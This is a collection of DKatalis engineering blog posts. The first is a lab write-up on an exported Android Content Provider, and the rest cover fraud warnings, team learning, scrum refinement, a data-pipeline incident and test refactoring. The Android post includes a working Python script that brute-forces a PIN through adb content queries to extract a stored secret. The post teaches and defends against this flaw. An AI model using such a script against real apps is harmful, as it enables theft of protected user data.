In the Android ecosystem, apps often need to share data with one another. Since Android applications run in separate processes by default, inter-process communication (IPC) is essential for enabling communication and data sharing between them. Content Providers are a common mechanism for this inter-app interaction, but if they are improperly exported, they can pose a significant security risk.

What are Content Providers?

Content Providers in Android are components that allow apps to manage access to a structured set of data. They provide a standardized interface to query, insert, update, or delete data and are commonly used to share data between apps, such as contacts, media files, or app-specific data.

When a Content Provider is marked as “exported,” it means that other applications can interact with it. While this is essential for enabling data sharing, it can also introduce significant security risks if not managed properly.

Sample Case

Refer to: https://www.mobilehackinglab.com/course/lab-secure-notes

<provider android:name="com.mobilehackinglab.securenotes.SecretDataProvider" android:enabled="true" android:exported="true" android:authorities="com.mobilehackinglab.securenotes.secretprovider"/> 
<activity android:name="com.mobilehackinglab.securenotes.MainActivity" android:exported="true">  
    <intent-filter>  
        <action android:name="android.intent.action.MAIN"/>  
        <category android:name="android.intent.category.LAUNCHER"/>  
    </intent-filter>  
</activity>

As declared in the AndroidManifest.xml above, the com.mobilehackinglab.securenotes.secretprovider is a content provider that is exported (meaning it's accessible to other apps). This allows other applications to query data within it using content provider invocations.

The Query Code

@Override // android.content.ContentProvider  
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {  
    Object m130constructorimpl;  
    Intrinsics.checkNotNullParameter(uri, "uri");  
    MatrixCursor matrixCursor = null;  
    if (selection == null || !StringsKt.startsWith$default(selection, "pin=", false, 2, (Object) null)) {  
        return null;  
    }  
    String removePrefix = StringsKt.removePrefix(selection, (CharSequence) "pin=");  
    try {  
        StringCompanionObject stringCompanionObject = StringCompanionObject.INSTANCE;  
        String format = String.format("%04d", Arrays.copyOf(new Object[]{Integer.valueOf(Integer.parseInt(removePrefix))}, 1));  
        Intrinsics.checkNotNullExpressionValue(format, "format(format, *args)");  
        try {  
            Result.Companion companion = Result.Companion;  
            SecretDataProvider $this$query_u24lambda_u241 = this;  
            m130constructorimpl = Result.m130constructorimpl($this$query_u24lambda_u241.decryptSecret(format));  
        } catch (Throwable th) {  
            Result.Companion companion2 = Result.Companion;  
            m130constructorimpl = Result.m130constructorimpl(ResultKt.createFailure(th));  
        }  
        if (Result.m136isFailureimpl(m130constructorimpl)) {  
            m130constructorimpl = null;  
        }  
        String secret = (String) m130constructorimpl;  
        if (secret != null) {  
            MatrixCursor $this$query_u24lambda_u243_u24lambda_u242 = new MatrixCursor(new String[]{"Secret"});  
            $this$query_u24lambda_u243_u24lambda_u242.addRow(new String[]{secret});  
            matrixCursor = $this$query_u24lambda_u243_u24lambda_u242;  
        }  
        return matrixCursor;  
    } catch (NumberFormatException e) {  
        return null;  
    }  
}

This query method is designed to handle a specific type of query where the selection must begins with "pin=". It extracts the pin, formats it, and attempts to decrypt a corresponding secret. If successful, it returns the secret in a MatrixCursor. Otherwise, if any step fails (e.g., the pin is not properly formatted, or decryption fails), the method returns null.

Try to call the content query directly via ADB

It gives the response No result found. Could this be due to an incorrect pin input?

Sample Attack

Let’s try creating a script to guess the correct pin, then.

import subprocess
from multiprocessing import Pool

# Function to execute the ADB command for a given PIN
def execute_command(pin):
    pin_str = str(pin).zfill(4) # Convert PIN to 4-digit string format
    command = f'adb shell "content query --uri content://com.mobilehackinglab.securenotes.secretprovider --where pin={pin_str}"'
    try:
        output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT, text=True)
        print(f'PIN {pin_str} found: {output}')
    except subprocess.CalledProcessError as e:
        # Handle command execution errors (e.g., PIN not found)
        pass

if __name__ == "__main__":
    # Number of processes to use (adjust as needed based on CPU cores)
    num_processes = 4

    # PIN range (0000 to 9999)
    pin_range = range(10000)

    # Create a pool of processes
    with Pool(num_processes) as pool:
        # Map the execute_command function to the PIN range
        pool.map(execute_command, pin_range)
    print('Bruteforce complete.')

Just run the Script

$ python snpin_force.py

It seems we can successfully guess the correct PIN using the bruteforce script above.

Conclusion

The provided example demonstrates how an improperly exported Content Provider, such as the SecretDataProvider, can become a significant security vulnerability in Android applications. When a Content Provider is marked as exported, it becomes accessible to other apps, which can interact with it using specific queries. In this case, the query method of SecretDataProvider decrypts and returns sensitive data if a correct PIN is provided.

The security risk emerges because an attacker can exploit this functionality by brute-forcing the PIN via Android Debug Bridge (ADB). By using a script to systematically guess the correct PIN, an attacker can eventually access and retrieve sensitive information stored within the Content Provider. This underscores the importance of carefully managing the export status of components and implementing additional security measures to prevent unauthorized access to sensitive data in Android applications.

Here are some recommendations for the case above:

• Limit Exporting: Only export Content Providers that are absolutely necessary for data sharing between authorized applications.
• Strong Authentication: Implement strong authentication mechanisms for accessing sensitive data through Content Providers. PINs alone might not be sufficient, consider multi-factor authentication.
• Input Validation: Validate user input to prevent brute-force attacks. Implement rate limiting or lockout mechanisms after a certain number of unsuccessful attempts.
• Secure Communication: Use secure communication channels when transferring data through Content Providers.

By following these practices, developers can help mitigate the risks associated with exported Content Providers and protect user data.

References:

• https://mas.owasp.org/MASTG/tests/android/MASVS-PLATFORM/MASTG-TEST-0029/
• https://www.mobilehackinglab.com/course/free-android-application-security-course

Mitigating Content Provider Risks in Android was originally published in DKatalis on Medium, where people are continuing the conversation by highlighting and responding to this story.

We have been made aware of fraudulent attempts misusing our company’s name to deceive individuals in offering business and/or other opportunities.

DKatalis will not request personal information and/or payment in any form.

DKatalis is a technology company based in Jakarta and Singapore. We innovate and build digital solutions that drive digitalization. DKatalis currently does not have other business ventures outside of this area.

Official statements and updates from DKatalis are only shared through our official website and social media channels.

If you receive suspicious messages, do not click on the links, share personal information, or make any requested financial transactions. Always verify through our official channels before taking any action.

Beware of Fraudulent Activities Using DKatalis Name was originally published in DKatalis on Medium, where people are continuing the conversation by highlighting and responding to this story.

In today’s fast-paced, highly competitive business world, knowledge-based organizations must stay agile to thrive. But how can companies balance the need for swift output delivery with the equally important goal of fostering a culture of seamless knowledge sharing? The key lies in creating a balance that enables efficiency while allowing room for learning.

The “Delivery First” mentality: A double-edged sword

In an economy where speed and results often define success, it’s not surprising that companies emphasize fast delivery. You’ve likely heard the common mantras: “Move fast, fail fast,” “Be focused,” and “The early bird catches the worm.” These phrases reflect the pressure to work relentlessly to complete tasks as quickly as possible, sometimes taking shortcuts or bulldozing through processes just to maintain momentum.

Organizations often reward these high-efficiency employees — those who get things done quickly and meet tight deadlines — by promoting them and offering financial bonuses. On the surface, this seems like a great strategy: rewarding productive workers for their hard work. However, this focus on efficiency can have unintended consequences that undermine long-term success.

The cost of overemphasis on efficiency

When the drive for output takes precedence, employees may experience burnout, stress, and demotivation. They may begin to feel like they’re running on a hamster wheel, constantly producing without time to reflect or learn. Eventually, some of the most talented people leave, taking their knowledge and expertise with them, leaving the organization weaker and less able to adapt in the future.

It’s not that efficiency is inherently bad. Delivering results is crucial. However, an unrelenting focus on speed and output can harm the organization’s ability to innovate, learn, and share knowledge. Without space for reflection and collaboration, employees miss opportunities to uncover better ways of working, address unresolved challenges, and contribute to collective learning. Over time, this harms the organization’s adaptability and growth potential.

The importance of fostering a learning culture

Building a culture of learning is challenging enough, requiring openness to new knowledge, intellectual humility, and a willingness to experiment. However, when faced with the “delivery trumps all” mentality, it can lead to counterproductive behaviors:

• Narrow focus on familiar tasks: Teams might prioritize tasks related to areas they’re already familiar with, avoiding new challenges or areas they don’t fully understand. This can prevent individual growth and product innovation.
• Working without collaboration: Rather than brainstorming or diagramming solutions together, team members may rely on their own limited knowledge, instead of engaging in collaborative problem-solving. Over time, this isolates new/weak team members and reduces the potential for cross-functional learning.
• Collaboration in name only: Teams might start with collaborative processes like breaking down work together, but eventually fall into the trap of executing work alone. As team members push themselves to deliver individual tasks quickly, they sacrifice collective problem-solving and shared learning.

At its core, the belief that productivity equals success often results in individuals working in isolation, which hurts overall product quality and the organization’s ability to adapt. This can lead to a vicious cycle where customer satisfaction decreases, financial performance drops, and layoffs ensue — further weakening the company’s ability to pivot quickly and strategically.

The power of learning as a team

The antidote to the “delivery first” mentality lies in a simple belief: People learn best when they collaborate. This belief is crucial for a company’s long-term success. When team members share knowledge freely, they catch issues earlier, get feedback faster, and improve both the product and customer satisfaction. Over time, this leads to better product adoption, higher financial performance, and greater employee satisfaction, reinforcing the cycle of knowledge sharing and collaboration within teams.

Moreover, the more your team members work together and learn from each other, the stronger the organization becomes. When people feel they are learning and growing, they’re less likely to burn out, more likely to stay engaged, and more likely to keep their teams long-lived. This retention of knowledge and talent strengthens the company’s overall ability to adapt to changing market forces, ultimately leading to greater success.

“All the project members who developed Epson’s first miniprinter were mechanical engineers who knew little about electronics at the start. So, the leader of the project team, who was also a mechanical engineer, returned to his alma mater as a researcher and studied electrical engineering for two years. He did this while the project was underway. By the time they had completed the miniprinter project, all the engineers were knowledgeable about electronics. “I tell my people to be well-versed in two technological fields and in two functional areas, like design and marketing,” the leader said. “Even in an engineering-oriented company like ours, you can’t get ahead without the ability to foresee developments in the market.”
Excerpt from https://hbr.org/1986/01/the-new-new-product-development-game.

Shifting the focus to learning through collaboration

The goal is not to eliminate efficiency but to balance it with a culture that encourages continuous learning through collaboration. This requires a shift in mindset and intentional actions to build an environment where learning is valued as much as output. Here’s a way how you can start fostering a culture of collaboration and knowledge sharing:

1. Map out existing domains and features

If your team tends to work in silos, it can be easy for individuals to lose sight of what others are working on. Mapping out the business features your team is handling, and the technical domains you’re tackling will help everyone understand how their work fits into the bigger picture. It also enables team members to see where they can share knowledge and learn from others. This transparency boosts morale and reinforces the sense of collective achievement.

💡Tip: Group related features together to give a clearer picture of your team’s domain and expertise.

2. Assess knowledge levels across teams

Knowledge sharing thrives in an environment of transparency. Encourage team members to identify what they know and what they don’t know, both about the business domain and the technical tools in use. This helps pinpoint areas where knowledge is concentrated or lacking, and it allows you to redistribute learning opportunities to ensure a more even distribution of expertise across the team.

💡Tip: Vulnerability is imperative to the success of this step. It’s ok to admit we are not experts at something, and it’s ok to say we are just novices.

3. Promote continuous learning within teams and between teams

Remind your teams that every task is an opportunity to learn. Encourage them to tackle new challenges, explore unfamiliar areas, and collaborate with team members to broaden their knowledge. By breaking the cycle of repeating the same familiar technical tasks or business features, you open up opportunities for growth, creativity, and innovation.

Encourage collaboration between team members with diverse backgrounds and skill sets. Promote team members to temporarily join another team to share or gain knowledge. This cross-pollination of knowledge and expertise is especially valuable in feature teams, where individuals bring different perspectives to the table. The more teams learn from each other, the more adaptive the organization becomes.

💡Tip: It’s imperative that management see their role as building long-term engineering and organizational capabilities by enabling teams to function autonomously and cross-functionally, as opposed to directing teams on what and how to deliver value to the organization.

Conclusion

Balancing delivery with learning is essential for maintaining an organization’s long-term success. By fostering a culture that values knowledge sharing and collaborative delivery, you empower your teams to solve problems more effectively. A commitment to learning will not only improve your product quality but also increase employee satisfaction, reduce turnover, and increase the organization’s ability to thrive in an ever-evolving business landscape.

So, next time you face the push to “deliver fast,” take a moment to consider the impact of that push and how your organization is also delivering value while maximizing learning. The result may be a more resilient, innovative, and successful future for your company as a whole.

Want to be a part of DKatalis and build the future of digital banking? We’re hiring!

Balancing Output Delivery with Team Learning: The Key to Organizational Agility was originally published in DKatalis on Medium, where people are continuing the conversation by highlighting and responding to this story.

Note: In case you are new to scrum, you might want to learn more about what a refinement looks like here.

By the book, a product backlog refinement (PBR) session is the space for clan teams to intentionally discuss why a Product Backlog Item (PBI) is in the backlog list, what the smallest value expected it’s going to bring upon release to market is, and a little bit about how to deliver the item. This is also where knowledge sharing happens.

I intentionally use the phrase “by the book” because that’s the most favorable situation that Agile Coaches hope for during PBR.

Continuous Improvement in refinement

At DKatalis, we embrace the spirit of continuous improvement—not only for our products but also in the way we operate as an organization. Establishing a continuously improved working system will create a self-managing group of people who contribute to high-quality results.

So, we realized that not just our products, but also the way we work on them during the refinement session itself needs improvement. To this end, the Partnership & Servicing (Clan) principal engineer invited staff engineers to observe the Servicing product area refinement sessions. The goal of the observers is to get data points on how the current refinement session is running, which will later become a reflection for teams to be aware of and create actions of improvement.

🚨 (Disclaimer: The observation and findings are based on sessions the Partnership and Servicing Clan runs. Other Clans might have different takes depending on their product area and team dynamic).

Observation of refinement sessions

While each team may have its own metrics to evaluate the effectiveness of a refinement session, there are some general areas worth considering:

1. Over-Engineering
   The team is unable to stop the discussion when it’s gone too deep into technical solutions. Why does this matter? Going too deep into a technical discussion will create an illusion of clarity to deliver the right value; hence, the team knows how to do it practically, but potentially, it will not deliver the valuable item or be over-engineered.
2. Refine as You Go
   The team understands that items can be refined multiple times (refinement isn’t the last chance to discuss the items).
3. Balancing Out
   There is a tendency to know everything (need to be clear on the ‘how’) before estimating and detailing all UACs in a single refinement. Hence, the team’s perception of estimation as the measurement of delivery must be detailed and precise.

Understanding the current situation gathered from observation data points, Agile Coaches and some of the staff engineers agreed to make requests for improvement to the team.

Refinement Session: Request for Improvement

After breaking down the observation findings, the Agile Coaches shared them with the whole clan at the start of the PBR session to provide transparency in the collaboration. They then share the request for improvements.

The crucial thing about requests is to create space for the team to clarify each request. That’s where an Agile coach takes time to align the expectations and the team’s perception. During clarification of the improvement request, the team validated their understanding of what the improvements might look like.

At the end of the clarification, the team gave their agreement to try implementing the improvement points and to experiment with them immediately in the refinement session.

Refinement Session: Experimentation on improvement points

After the PBR session, the Agile coach shared direct observations and highlighted the improvements that teams have made as follows:

1. Better Time Management
2 out of 3 mixed groups were able to identify when they had to wrap up a discussion on an item and move on to the next, even if the timebox was not finished.

2. Stakeholder Identification
1 out of 3 mixed groups was able to identify irrelevant stakeholders/users in the room and requested the right stakeholders to join the discussion.

3. Self-Managed Facilitation
2 out of 3 mixed groups are self-managed in appointing a ‘champion’ as a facilitator within the mixed group. The presence of facilitators is necessary in PBR sessions, as they are the personnel who help create the opportunity for the team to speak up their thoughts and guide the discussion towards a common goal (PBR goal of discussion). They also actively listen to the conversation, observe dynamics, and intervene when necessary. As mentioned earlier, Agile Coaches usually take on this role. However, Product Managers, Designers, or Engineers could also assume this role depending on the product areas.

Lessons from the experimentation

Clear requests for improvement and aligning expectations can lead to significant progress. From our experimentation. Here are key points to consider when pursuing more effective refinements for the sake of better delivery:

1. Increasing Awareness
   The team might not be aware of what they often do. Hence, sharing observation points transparently helps teams become more aware of their actions and behaviors.
2. Empowerment
   Giving teams the power and responsibility to modify how they work may lead to impactful changes.
3. Clear Communication and Transparency
   As the Agile Coaches did before the refinement session started, it’s important to clarify when requesting improvement from the team, making sure the team has the same understanding.
4. It’s an ongoing Process
   As we begin to empower team members to become facilitators, they need continuous support for facilitators to grow their skills. As they gain more experience by facilitating group discussion in refinement, their skills will grow, supplemented by feedback and guidance from seasoned facilitators.

Sometimes, we can become so focused on one aspect that we overlook others. Hopefully, this article could inspire more teams to reflect on their refinement sessions and explore ways to enhance them.

We'd also love to hear from you if you’ve had similar experiences or insights. Please share them in the comments!

Want to be a part of the culture of continuous learning and growth? Join DKatalis, we don’t byte 😉!

Refining the Refinement with Practical Experimentation and Feedback Loop was originally published in DKatalis on Medium, where people are continuing the conversation by highlighting and responding to this story.

It was another night when my phone buzzed with a Slack call from my Boss. The message read: “Hey, the data in this table has been missing for two months. What’s going on?” Instantly, my heart was racing hard. Two months???

I jumped out of bed and fired up my laptop. Running a quick query on the table confirmed my worst fears. The last entry was from two months ago, and OMG, a significant chunk of data was missing.

Have you ever had one of these nights?

If you’re a Data Engineer, you’ll probably resonate with my story. I’m here to share what I went through and how I came out alive, somewhat peacefully. I was rushing, digging, and searching frantically; what the heck was wrong!!

I probably discovered the possible root cause of the issue: an archaic Airflow pipeline that no one knows about. It was one of those can-of-worms experiences I had long ago, something forgotten yet continuing to run quietly in the background. I tried rerunning the pipeline, hoping for a quick fix, but no luck. The task kept failing.

Diving into the error logs, I discovered the Airflow task was trying to connect to an IP address belonging to a foreign MySQL Database (not a URL or hostname).

At this point, I was panicking. I had no clue what was what and needed to find someone who knew about this ASAP. I reached out to any of my teammates, asking if anyone had any idea about this mysterious MySQL server. Finding the right person was not easy since it was so early in the day.

After what felt like an eternity (two whole days, actually), someone mentioned to me that the IT Infrastructure team would know this.

I hopped on a WhatsApp call with the infra guy, who was also still wide awake in the middle of the night, trying to fix things. It turned out that the IP address had been changed due to a recent disaster recovery (DR) exercise (that needs to turn on and off the application database).

He scrambled to locate the new IP address. Once we had it, I updated the Airflow connection to point to the new IP. And just like that, the pipeline worked again!

It was a painful process but a victory nonetheless.

The challenge continued

With the pipeline back online, the next challenge was to rerun all the failed jobs from the past two months. Fortunately, the data volume was relatively small (a few hundred records per day), so backfilling was a breeze. We could load all the missing data back into the table in less than two hours.

But the story didn’t end there. For two months, we had been reporting incomplete data to the regulators (I work for a Retail Bank). We now had to gather all impacted people, draft a formal memo, and plan for data remediation.

In the end, we had to submit some corrections to the Regulator. It wasn’t a big deal, but it did cost us some money (due to the correction report). It was frustrating, for sure, but in the grand scheme of things, it could have been much worse.

What can we learn?

This story was definitely NOT how you live peacefully as a Data Engineer, but there are some lessons that I hope we all can take:

• Do a full scan on legacy systems: Just because something is old doesn’t mean it is irrelevant. Regularly review and enhance these old pipelines.
• Documentation is a must: If there’s an important pipeline or connection (e.g., one consumed for regulatory reporting), make sure it’s documented. That way, if something breaks, you’re not starting from scratch.
• Stay connected: When things go south, it is all about who you know. Build good communication lines with teams from upstream (application) to downstream (business users)

Finally, sometimes, the only way you learn about critical problems is through such incidents. So make sure you stay adaptable and are ready for anything!

Hey, you look familiar! Perhaps you are our next Katalis? Join the adaptive and innovative team in building the future of life-centric digital banking here.

From Panic to Pipeline: Surviving Midnight Crisis as a Data Engineer was originally published in DKatalis on Medium, where people are continuing the conversation by highlighting and responding to this story.

Testing can be a very effective way to show the presence of bugs, but it is hopelessly inadequate for showing their absence.

- Edsger W. Dijkstra

Tests are an important arsenal in a developer’s toolbox. They can detect breaking changes and help understand the expected behavior of the code. Sadly, they're often considered a chore and overlooked by strict quality checks applied to the codebase. Developers don’t pay as much attention to writing good code for test cases as they do for the functionality, resulting in a test suite that is full of test smells.

With the Jago App's ever-increasing codebase and new devs joining the teams, the need for good tests is apparent. Our focus is now not only on covering all the edge cases in the code but also on making the test readable. Test cases should be clear and concise so that anyone reading them can easily understand what they are testing.

In this article, I will focus on two key areas of improvement:

1. Removing noise from the test to make it readable.
2. Remove unnecessary use of mocking.

Let's take an example by improving the unit test of a react component. The component AdditionalNotes is expected to be used in a form by Jago Customer Service agents. The component should trim whitespaces from the content. The component implementation is not the focus here; we will just focus on testing.

Note: The code shown here is not the actual code we fixed but it’s similar.

import React from 'react';
import { Form } from 'antd';
import { UserEvent, userEvent } from '@testing-library/user-event';
import { render, renderHook } from '@testing-library/react';
import AdditionalNotes from '../AdditionalNotes';
import constants from '../constants';

const createMockForm = () => {
  const { result } = renderHook(() => Form.useForm());
  const form = result.current[0];

  return {
    ...form,
    getFieldInstance: jest.fn(),
    setFieldValue: jest.fn()
  };
};

describe('AdditionalNotes', () => {
  let user: UserEvent;

  beforeEach(() => {
    user = userEvent.setup();
  })


  it('calls onChange with the new value when typed into text area', async () => {
    const mockOnChange = jest.fn();
    const mockForm = createMockForm();

    const { getByRole } = render(
      <AdditionalNotes
        confirmationForm={mockForm}
        value=""
        onChange={mockOnChange}
      />
    );

    const textArea = getByRole('textbox');
    const testValue = 'New note text';

    await user.type(textArea, testValue);

    expect(mockOnChange).toHaveBeenCalledWith(testValue);
    expect(mockForm.setFieldValue).toBeCalledWith(
      constants.formKey.note,
      testValue
    );
  });

  it('calls onChange with the new value when typed into text area with whitespaces removed', async () => {
    const mockOnChange = jest.fn();
    const mockForm = createMockForm();

    const { getByRole } = render(
      <AdditionalNotes
        confirmationForm={mockForm}
        value=""
        onChange={mockOnChange}
      />
    );

    const textArea = getByRole('textbox');
    const testValue = '      New note text      ';

    await user.type(textArea, testValue);

    expect(mockOnChange).toHaveBeenCalledWith(testValue.trim());
    expect(mockForm.setFieldValue).toBeCalledWith(
      constants.formKey.note,
      testValue.trim()
    );
  });

  it('calls onChange with the new value when typed into text area with one whitespace at the end', async () => {
    const mockOnChange = jest.fn();
    const mockForm = createMockForm();

    const { getByRole } = render(
      <AdditionalNotes
        confirmationForm={mockForm}
        value=""
        onChange={mockOnChange}
      />
    );

    const textArea = getByRole('textbox');
    const testValue = 'New note text ';

    await user.type(textArea, testValue);

    expect(mockOnChange).toHaveBeenCalledWith(testValue);
    expect(mockForm.setFieldValue).toBeCalledWith(
      constants.formKey.note,
      testValue
    );
  });

  it('calls onChange with the new value with one space at end when typed into text area with two whitespace at the end', async () => {
    const mockOnChange = jest.fn();
    const mockForm = createMockForm();

    const { getByRole } = render(
      <AdditionalNotes
        confirmationForm={mockForm}
        value=""
        onChange={mockOnChange}
      />
    );

    const textArea = getByRole('textbox');
    const testValue = 'New note text  ';

    await user.type(textArea, testValue);

    const expectedValue = testValue.trim().concat(' ');

    expect(mockOnChange).toHaveBeenCalledWith(expectedValue);
    expect(mockForm.setFieldValue).toBeCalledWith(
      constants.formKey.note,
      expectedValue
    );
  });
});

As shown in the above example, even when the requirements are really simple the test cases are not. Someone reading it for the first time can get confused about what’s going on here. A few setup lines are repeated over and over again for every test case. The expectation is also not very clear.

Improvements

Improving Readability

First, let us figure out what can be improved. We can see the setup part till the component rendering is repeated in every test.

Let’s use jest’s beforeEach method to set it all up:

// snip...

describe('AdditionalNotes', () => {
  let user: UserEvent;
  let additionalNotes: React.JSX.Element;
  const mockOnChange = jest.fn();
  let mockForm: FormInstance<any>;
  let textArea: HTMLElement;

  beforeEach(() => {
    user = userEvent.setup();
    mockOnChange.mockReset();
    mockForm = createMockForm();

    additionalNotes = (
      <AdditionalNotes
        taskConfirmationForm={mockForm}
        value=""
        isEnable={true}
        onChange={mockOnChange}
      />
    );

    render(additionalNotes);

    textArea = screen.getByRole('textbox');
  });

  it('calls onChange with the new value when typed into text area', async () => {
    const testValue = 'New note text';

    await user.type(textArea, testValue);

    expect(mockOnChange).toHaveBeenCalledWith(testValue);
    expect(mockForm.setFieldValue).toBeCalledWith(
      constants.formKey.note,
      testValue
    );
  });

  // remove the same common code from other test cases

By separating setup logic, our test cases look less confusing.

Improving Mocking

It’s a common practice to mock objects that are passed to components while testing. For example, if you want to test a service, you mock the repository instance. This is a general tendency of developers to mock most of the things while testing.

But mocking is a double-edged sword. If you are not careful, you can find yourself in mocking hell where everything is mocked and no real testing is done. Mocking can also result in false positive test cases where a contract breaks with the third-party library, but we are not able to detect it due to mocks. Developers also mock the library to check some conditions just to increase the code coverage. It’s highly debatable what to mock and what not to. We should consider not using mock unless it’s absolutely required.

We should consider not using mock unless it’s absolutely required.

We can see that we are mocking FormInstance. We asked ourselves, “Do we really need this mock here? Can’t we use this without mocking?” The reason for mocking is to spy on the setFieldValue call. Is there a way to check if the correct form value is set?

After thinking over it we figured out a simple way to check the value in the form. We can use Form’s getFieldValue to get the value and use it to check with the expected value.

// snip...

const createMockForm = (): FormInstance<any> => {
  const { result } = renderHook(() => Form.useForm());
  return result.current[0];
};

// snip...

it('calls onChange with the new value when typed into text area', async () => {
    const testValue = 'New note text';

    await user.type(textArea, testValue);

    expect(mockOnChange).toHaveBeenCalledWith(testValue);
    expect(mockForm.getFieldValue(constants.formKey.note)).toBe(testValue);
  });

// same changes in other test cases

Now we are actually using the library functions to test our component. This removed the overhead of mocking, and if there is a breaking change in the library, our test case will catch that.

Final touch-ups

Now, the test cases are looking concise. But there is still room for more improvements. Let’s look at the test case below:

it('calls onChange with the new value with one space at end when typed into text area with two whitespace at the end', async () => {
    const testValue = 'New note text  ';

    await user.type(textArea, testValue);

    const expectedValue = testValue.trim().concat(' ');

    expect(mockOnChange).toHaveBeenCalledWith(expectedValue);
    expect(mockForm.setFieldValue).toBeCalledWith(
      constants.formKey.note,
      expectedValue
    );
});

Although the description says that it is acceptable to have one whitespace at the end of text, but the code looks confusing. Why are we trimming and concatenating the space? We can fix this by inlining the test and expected values.

it('calls onChange with the new value with one space at end when typed into text area with two whitespace at the end', async () => {
    const endingWithOneWhiteSpace = 'New note text ';

    await user.type(textArea, 'New note text  ');


    expect(mockOnChange).toHaveBeenCalledWith(endingWithOneWhiteSpace);
    expect(mockForm.getFieldValue(constants.formKey.note)).toBe(endingWithOneWhiteSpace);
});

We can further improve it by moving the constant value endingWithOneWhiteSpace to higher scope, wrapping mockForm.getFieldValue(constants.formKey.note) in a function and updating the descriptions.

import React from 'react';
import { Form, FormInstance } from 'antd';
import { UserEvent, userEvent } from '@testing-library/user-event';
import { screen, render, renderHook } from '@testing-library/react';
import AdditionalNotes from '../AdditionalNotes';
import constants from '../constants';

let mockForm: FormInstance<any>;

const createMockForm = (): FormInstance<any> => {
  const { result } = renderHook(() => Form.useForm());
  return result.current[0];
};

function notesFieldValue() {
  return mockForm.getFieldValue(
    constants.formKey.note
  );
}

describe('AdditionalNotes', () => {
  let additionalNotes: React.JSX.Element;
  const mockOnChange = jest.fn();
  let textArea: HTMLElement;
  let user: UserEvent;
  const noWhiteSpaceValue = 'New note text';
  const endingWithOneWhiteSpace = 'New note text ';

  beforeEach(() => {
    user = userEvent.setup();
    mockOnChange.mockReset();
    mockForm = createMockForm();

    additionalNotes = (
      <AdditionalNotes
        taskConfirmationForm={mockForm}
        value=""
        isEnable={true}
        onChange={mockOnChange}
      />
    );

    render(additionalNotes);

    textArea = screen.getByRole('textbox');
  });


  it('Input value with no whitespace', async () => {
    await user.type(textArea, noWhiteSpaceValue);

    expect(mockOnChange).toHaveBeenCalledWith(noWhiteSpaceValue);
    expect(notesFieldValue()).toBe(noWhiteSpaceValue);
  });

  it('Input value with whitespaces in begining and end', async () => {
    await user.type(textArea, '      New note text      ');

    expect(mockOnChange).toHaveBeenCalledWith(endingWithOneWhiteSpace);
    expect(notesFieldValue()).toBe(endingWithOneWhiteSpace);
  });

  it('Input value with one whitespace at end', async () => {
    await user.type(textArea, endingWithOneWhiteSpace);

    expect(mockOnChange).toHaveBeenCalledWith(endingWithOneWhiteSpace);
    expect(notesFieldValue()).toBe(endingWithOneWhiteSpace);
  });

  it('Input value with two whitespaces at end', async () => {
    await user.type(textArea, 'New note text  ');

    expect(mockOnChange).toHaveBeenCalledWith(endingWithOneWhiteSpace);
    expect(notesFieldValue()).toBe(endingWithOneWhiteSpace);
  });
});

The final result of all the refactoring is readable test cases that are not using any extra mocking than required. Now, when someone reads the test case, they are not overwhelmed by the setup and they can easily see what is the expected behaviour of the component.

Conclusion

Writing good test cases is difficult, but even small refactoring, like moving common setup logic in one place, can improve it. Developers change their mindset and don’t look at it as something that is just part of the Definition of Done. They should adhere to the same code quality as their code. Engineers at DKatalis are slowly trying to improve test suites and make automation tests more reliable.

(Shout out to Stanly Lau for guiding and helping my clan understand these test smells and how to remove them.)

Find more interesting tips and tricks from the DKatalis team on our blog, and don’t forget to hit that follow button!

Continuous Improvement of Automation Tests for the Jago App was originally published in DKatalis on Medium, where people are continuing the conversation by highlighting and responding to this story.